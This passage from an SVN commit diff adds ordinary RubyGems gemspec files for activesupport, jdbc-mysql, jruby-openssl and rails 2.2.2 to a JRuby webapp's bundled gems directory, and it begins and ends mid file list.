"lib/active_support/core_ext/date_time/conversions.rb", "lib/active_support/core_ext/date_time.rb", "lib/active_support/core_ext/duplicable.rb", "lib/active_support/core_ext/enumerable.rb", "lib/active_support/core_ext/exception.rb", "lib/active_support/core_ext/file", "lib/active_support/core_ext/file/atomic.rb", "lib/active_support/core_ext/file.rb", "lib/active_support/core_ext/float", "lib/active_support/core_ext/float/rounding.rb", "lib/active_support/core_ext/float/time.rb", "lib/active_support/core_ext/float.rb", "lib/active_support/core_ext/hash", "lib/active_support/core_ext/hash/conversions.rb", "lib/active_support/core_ext/hash/deep_merge.rb", "lib/active_support/core_ext/hash/diff.rb", "lib/active_support/core_ext/hash/except.rb", "lib/active_support/core_ext/hash/indifferent_access.rb", "lib/active_support/core_ext/hash/keys.rb", "lib/active_support/core_ext/hash/reverse_merge.rb", "lib/active_support/core_ext/hash/slice.rb", "lib/active_support/core_ext/hash.rb", "lib/active_support/core_ext/integer", "lib/active_support/core_ext/integer/even_odd.rb", "lib/active_support/core_ext/integer/inflections.rb", "lib/active_support/core_ext/integer/time.rb", "lib/active_support/core_ext/integer.rb", "lib/active_support/core_ext/kernel", "lib/active_support/core_ext/kernel/agnostics.rb", "lib/active_support/core_ext/kernel/daemonizing.rb", "lib/active_support/core_ext/kernel/debugger.rb", "lib/active_support/core_ext/kernel/reporting.rb", "lib/active_support/core_ext/kernel/requires.rb", "lib/active_support/core_ext/kernel.rb", "lib/active_support/core_ext/load_error.rb", "lib/active_support/core_ext/logger.rb", "lib/active_support/core_ext/module", "lib/active_support/core_ext/module/aliasing.rb", "lib/active_support/core_ext/module/attr_accessor_with_default.rb", "lib/active_support/core_ext/module/attr_internal.rb", "lib/active_support/core_ext/module/attribute_accessors.rb", "lib/active_support/core_ext/module/delegation.rb", "lib/active_support/core_ext/module/inclusion.rb", "lib/active_support/core_ext/module/introspection.rb", "lib/active_support/core_ext/module/loading.rb", "lib/active_support/core_ext/module/model_naming.rb", "lib/active_support/core_ext/module/synchronization.rb", "lib/active_support/core_ext/module.rb", "lib/active_support/core_ext/name_error.rb", "lib/active_support/core_ext/numeric", "lib/active_support/core_ext/numeric/bytes.rb", "lib/active_support/core_ext/numeric/conversions.rb", "lib/active_support/core_ext/numeric/time.rb", "lib/active_support/core_ext/numeric.rb", "lib/active_support/core_ext/object", "lib/active_support/core_ext/object/conversions.rb", "lib/active_support/core_ext/object/extending.rb", "lib/active_support/core_ext/object/instance_variables.rb", "lib/active_support/core_ext/object/metaclass.rb", "lib/active_support/core_ext/object/misc.rb", "lib/active_support/core_ext/object.rb", "lib/active_support/core_ext/pathname", "lib/active_support/core_ext/pathname/clean_within.rb", "lib/active_support/core_ext/pathname.rb", "lib/active_support/core_ext/proc.rb", "lib/active_support/core_ext/process", "lib/active_support/core_ext/process/daemon.rb", "lib/active_support/core_ext/process.rb", "lib/active_support/core_ext/range", "lib/active_support/core_ext/range/blockless_step.rb", "lib/active_support/core_ext/range/conversions.rb", "lib/active_support/core_ext/range/include_range.rb", "lib/active_support/core_ext/range/overlaps.rb", "lib/active_support/core_ext/range.rb", "lib/active_support/core_ext/rexml.rb", "lib/active_support/core_ext/string", "lib/active_support/core_ext/string/access.rb", "lib/active_support/core_ext/string/behavior.rb", "lib/active_support/core_ext/string/conversions.rb", "lib/active_support/core_ext/string/filters.rb", "lib/active_support/core_ext/string/inflections.rb", "lib/active_support/core_ext/string/iterators.rb", "lib/active_support/core_ext/string/multibyte.rb", "lib/active_support/core_ext/string/starts_ends_with.rb", "lib/active_support/core_ext/string/xchar.rb", "lib/active_support/core_ext/string.rb", "lib/active_support/core_ext/symbol.rb", "lib/active_support/core_ext/time", "lib/active_support/core_ext/time/behavior.rb", "lib/active_support/core_ext/time/calculations.rb", "lib/active_support/core_ext/time/conversions.rb", "lib/active_support/core_ext/time/zones.rb", "lib/active_support/core_ext/time.rb", "lib/active_support/core_ext.rb", "lib/active_support/dependencies.rb", "lib/active_support/deprecation.rb", "lib/active_support/duration.rb", "lib/active_support/gzip.rb", "lib/active_support/inflections.rb", "lib/active_support/inflector.rb", "lib/active_support/json", "lib/active_support/json/decoding.rb", "lib/active_support/json/encoders", "lib/active_support/json/encoders/date.rb", "lib/active_support/json/encoders/date_time.rb", "lib/active_support/json/encoders/enumerable.rb", "lib/active_support/json/encoders/false_class.rb", "lib/active_support/json/encoders/hash.rb", "lib/active_support/json/encoders/nil_class.rb", "lib/active_support/json/encoders/numeric.rb", "lib/active_support/json/encoders/object.rb", "lib/active_support/json/encoders/regexp.rb", "lib/active_support/json/encoders/string.rb", "lib/active_support/json/encoders/symbol.rb", "lib/active_support/json/encoders/time.rb", "lib/active_support/json/encoders/true_class.rb", "lib/active_support/json/encoding.rb", "lib/active_support/json/variable.rb", "lib/active_support/json.rb", "lib/active_support/locale", "lib/active_support/locale/en.yml", "lib/active_support/memoizable.rb", "lib/active_support/multibyte", "lib/active_support/multibyte/chars.rb", "lib/active_support/multibyte/exceptions.rb", "lib/active_support/multibyte/unicode_database.rb", "lib/active_support/multibyte.rb", "lib/active_support/option_merger.rb", "lib/active_support/ordered_hash.rb", "lib/active_support/ordered_options.rb", "lib/active_support/rescuable.rb", "lib/active_support/secure_random.rb", "lib/active_support/string_inquirer.rb", "lib/active_support/test_case.rb", "lib/active_support/testing", "lib/active_support/testing/core_ext", "lib/active_support/testing/core_ext/test", "lib/active_support/testing/core_ext/test/unit", "lib/active_support/testing/core_ext/test/unit/assertions.rb", "lib/active_support/testing/core_ext/test.rb", "lib/active_support/testing/default.rb", "lib/active_support/testing/performance.rb", "lib/active_support/testing/setup_and_teardown.rb", "lib/active_support/time_with_zone.rb", "lib/active_support/values", "lib/active_support/values/time_zone.rb", "lib/active_support/values/unicode_tables.dat", "lib/active_support/vendor", "lib/active_support/vendor/builder-2.1.2", "lib/active_support/vendor/builder-2.1.2/blankslate.rb", "lib/active_support/vendor/builder-2.1.2/builder", "lib/active_support/vendor/builder-2.1.2/builder/blankslate.rb", "lib/active_support/vendor/builder-2.1.2/builder/css.rb", "lib/active_support/vendor/builder-2.1.2/builder/xchar.rb", "lib/active_support/vendor/builder-2.1.2/builder/xmlbase.rb", "lib/active_support/vendor/builder-2.1.2/builder/xmlevents.rb", "lib/active_support/vendor/builder-2.1.2/builder/xmlmarkup.rb", "lib/active_support/vendor/builder-2.1.2/builder.rb", "lib/active_support/vendor/i18n-0.0.1", "lib/active_support/vendor/i18n-0.0.1/i18n", "lib/active_support/vendor/i18n-0.0.1/i18n/backend", "lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb", "lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb", "lib/active_support/vendor/i18n-0.0.1/i18n.rb", "lib/active_support/vendor/memcache-client-1.5.1", "lib/active_support/vendor/memcache-client-1.5.1/memcache.rb", "lib/active_support/vendor/tzinfo-0.3.12", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/San_Juan.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Bogota.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Caracas.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chicago.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Chihuahua.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Juneau.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/La_Paz.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Lima.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Los_Angeles.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baku.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Muscat.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Novosibirsk.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Perth.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Belgrade.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Berlin.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bratislava.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Brussels.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Kiev.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Lisbon.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Ljubljana.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/London.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Madrid.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Minsk.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Moscow.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone_info.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb", "lib/active_support/vendor/tzinfo-0.3.12/tzinfo.rb", "lib/active_support/vendor/xml-simple-1.0.11", "lib/active_support/vendor/xml-simple-1.0.11/xmlsimple.rb", "lib/active_support/vendor.rb", "lib/active_support/version.rb", "lib/active_support/whiny_nil.rb", "lib/active_support.rb", "lib/activesupport.rb"]
+  s.has_rdoc = true
+  s.homepage = %q{http://www.rubyonrails.org}
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{activesupport}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{Support and utility classes used by the Rails framework.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+    else
+    end
+  else
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/jdbc-mysql-5.0.4.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/jdbc-mysql-5.0.4.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/jdbc-mysql-5.0.4.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{jdbc-mysql}
+  s.version = "5.0.4"
+
+  s.required_rubygems_version = nil if s.respond_to? :required_rubygems_version=
+  s.authors = ["Nick Sieger, Ola Bini and JRuby contributors"]
+  s.cert_chain = nil
+  s.date = %q{2007-11-05}
+  s.description = %q{Install this gem and require 'mysql' within JRuby to load the driver.}
+  s.email = %q{nick at nicksieger.com, ola.bini at gmail.com}
+  s.extra_rdoc_files = ["Manifest.txt", "README.txt", "LICENSE.txt"]
+  s.files = ["Manifest.txt", "Rakefile", "README.txt", "LICENSE.txt", "lib/jdbc", "lib/jdbc/mysql.rb", "lib/mysql-connector-java-5.0.4-bin.jar"]
+  s.has_rdoc = true
+  s.homepage = %q{http://jruby-extras.rubyforge.org/ActiveRecord-JDBC}
+  s.rdoc_options = ["--main", "README.txt"]
+  s.require_paths = ["lib"]
+  s.required_ruby_version = Gem::Requirement.new("> 0.0.0")
+  s.rubyforge_project = %q{jruby-extras}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{MySQL JDBC driver for Java and MySQL/ActiveRecord-JDBC.}
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 1
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+    else
+    end
+  else
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/jruby-openssl-0.3.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/jruby-openssl-0.3.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/jruby-openssl-0.3.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{jruby-openssl}
+  s.version = "0.3"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["Ola Bini and JRuby contributors"]
+  s.date = %q{2008-08-14}
+  s.description = %q{= JRuby-OpenSSL}
+  s.email = %q{ola.bini at gmail.com}
+  s.extra_rdoc_files = ["History.txt", "README.txt", "License.txt"]
+  s.files = ["History.txt", "README.txt", "License.txt", "lib/jopenssl.jar", "lib/bcmail-jdk14-139.jar", "lib/bcprov-jdk14-139.jar", "lib/jopenssl", "lib/openssl", "lib/openssl.rb", "lib/jopenssl/version.rb", "lib/openssl/bn.rb", "lib/openssl/buffering.rb", "lib/openssl/cipher.rb", "lib/openssl/digest.rb", "lib/openssl/dummy.rb", "lib/openssl/dummyssl.rb", "lib/openssl/ssl.rb", "lib/openssl/x509.rb", "test/fixture", "test/openssl", "test/pkcs7_mime_enveloped.message", "test/pkcs7_mime_signed.message", "test/pkcs7_multipart_signed.message", "test/ref", "test/test_cipher.rb", "test/test_integration.rb", "test/test_java.rb", "test/test_java_attribute.rb", "test/test_java_bio.rb", "test/test_java_mime.rb", "test/test_java_pkcs7.rb", "test/test_java_smime.rb", "test/test_openssl.rb", "test/ut_eof.rb", "test/fixture/cacert.pem", "test/fixture/cert_localhost.pem", "test/fixture/localhost_keypair.pem", "test/openssl/ssl_server.rb", "test/openssl/test_asn1.rb", "test/openssl/test_cipher.rb", "test/openssl/test_digest.rb", "test/openssl/test_hmac.rb", "test/openssl/test_ns_spki.rb", "test/openssl/test_pair.rb", "test/openssl/test_pkcs7.rb", "test/openssl/test_pkey_rsa.rb", "test/openssl/test_ssl.rb", "test/openssl/test_x509cert.rb", "test/openssl/test_x509crl.rb", "test/openssl/test_x509ext.rb", "test/openssl/test_x509name.rb", "test/openssl/test_x509req.rb", "test/openssl/test_x509store.rb", "test/openssl/utils.rb", "test/ref/a.out", "test/ref/compile.rb", "test/ref/pkcs1", "test/ref/pkcs1.c"]
+  s.has_rdoc = true
+  s.homepage = %q{http://jruby-extras.rubyforge.org/jruby-openssl}
+  s.rdoc_options = ["--main", "README.txt"]
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{jruby-extras}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{OpenSSL add-on for JRuby}
+  s.test_files = ["test/test_cipher.rb", "test/test_integration.rb", "test/test_java.rb", "test/test_java_attribute.rb", "test/test_java_bio.rb", "test/test_java_mime.rb", "test/test_java_pkcs7.rb", "test/test_java_smime.rb", "test/test_openssl.rb"]
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+    else
+    end
+  else
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/specifications/rails-2.2.2.gemspec
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/specifications/rails-2.2.2.gemspec	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/specifications/rails-2.2.2.gemspec	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{rails}
+  s.version = "2.2.2"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["David Heinemeier Hansson"]
+  s.date = %q{2008-11-21}
+  s.default_executable = %q{rails}
+  s.description = %q{Rails is a framework for building web-application using CGI, FCGI, mod_ruby, or WEBrick on top of either MySQL, PostgreSQL, SQLite, DB2, SQL Server, or Oracle with eRuby- or Builder-based templates.}
+  s.email = %q{david at loudthinking.com}
+  s.executables = ["rails"]
+  s.files = ["bin", "builtin", "CHANGELOG", "config.ru", "configs", "dispatches", "doc", "environments", "fresh_rakefile", "helpers", "html", "lib", "MIT-LICENSE", "pkg", "Rakefile", "README", "bin/about", "bin/console", "bin/dbconsole", "bin/destroy", "bin/generate", "bin/performance", "bin/performance/benchmarker", "bin/performance/profiler", "bin/performance/request", "bin/plugin", "bin/process", "bin/process/inspector", "bin/process/reaper", "bin/process/spawner", "bin/rails", "bin/runner", "bin/server", "builtin/rails_info", "builtin/rails_info/rails", "builtin/rails_info/rails/info.rb", "builtin/rails_info/rails/info_controller.rb", "builtin/rails_info/rails/info_helper.rb", "builtin/rails_info/rails_info_controller.rb", "configs/apache.conf", "configs/databases", "configs/databases/frontbase.yml", "configs/databases/ibm_db.yml", "configs/databases/mysql.yml", "configs/databases/oracle.yml", "configs/databases/postgresql.yml", "configs/databases/sqlite2.yml", "configs/databases/sqlite3.yml", "configs/empty.log", "configs/initializers", "configs/initializers/inflections.rb", "configs/initializers/mime_types.rb", "configs/initializers/new_rails_defaults.rb", "configs/lighttpd.conf", "configs/locales", "configs/locales/en.yml", "configs/routes.rb", "doc/guides", "doc/guides/html", "doc/guides/html/2_2_release_notes.html", "doc/guides/html/actioncontroller_basics.html", "doc/guides/html/activerecord_validations_callbacks.html", "doc/guides/html/association_basics.html", "doc/guides/html/authors.html", "doc/guides/html/benchmarking_and_profiling.html", "doc/guides/html/caching_with_rails.html", "doc/guides/html/command_line.html", "doc/guides/html/configuring.html", "doc/guides/html/creating_plugins.html", "doc/guides/html/debugging_rails_applications.html", "doc/guides/html/finders.html", "doc/guides/html/form_helpers.html", "doc/guides/html/getting_started_with_rails.html", "doc/guides/html/index.html", "doc/guides/html/layouts_and_rendering.html", "doc/guides/html/migrations.html", "doc/guides/html/routing_outside_in.html", "doc/guides/html/security.html", "doc/guides/html/testing_rails_applications.html", "doc/guides/source", "doc/guides/source/2_2_release_notes.txt", "doc/guides/source/actioncontroller_basics", "doc/guides/source/actioncontroller_basics/changelog.txt", "doc/guides/source/actioncontroller_basics/cookies.txt", "doc/guides/source/actioncontroller_basics/csrf.txt", "doc/guides/source/actioncontroller_basics/filters.txt", "doc/guides/source/actioncontroller_basics/http_auth.txt", "doc/guides/source/actioncontroller_basics/index.txt", "doc/guides/source/actioncontroller_basics/introduction.txt", "doc/guides/source/actioncontroller_basics/methods.txt", "doc/guides/source/actioncontroller_basics/parameter_filtering.txt", "doc/guides/source/actioncontroller_basics/params.txt", 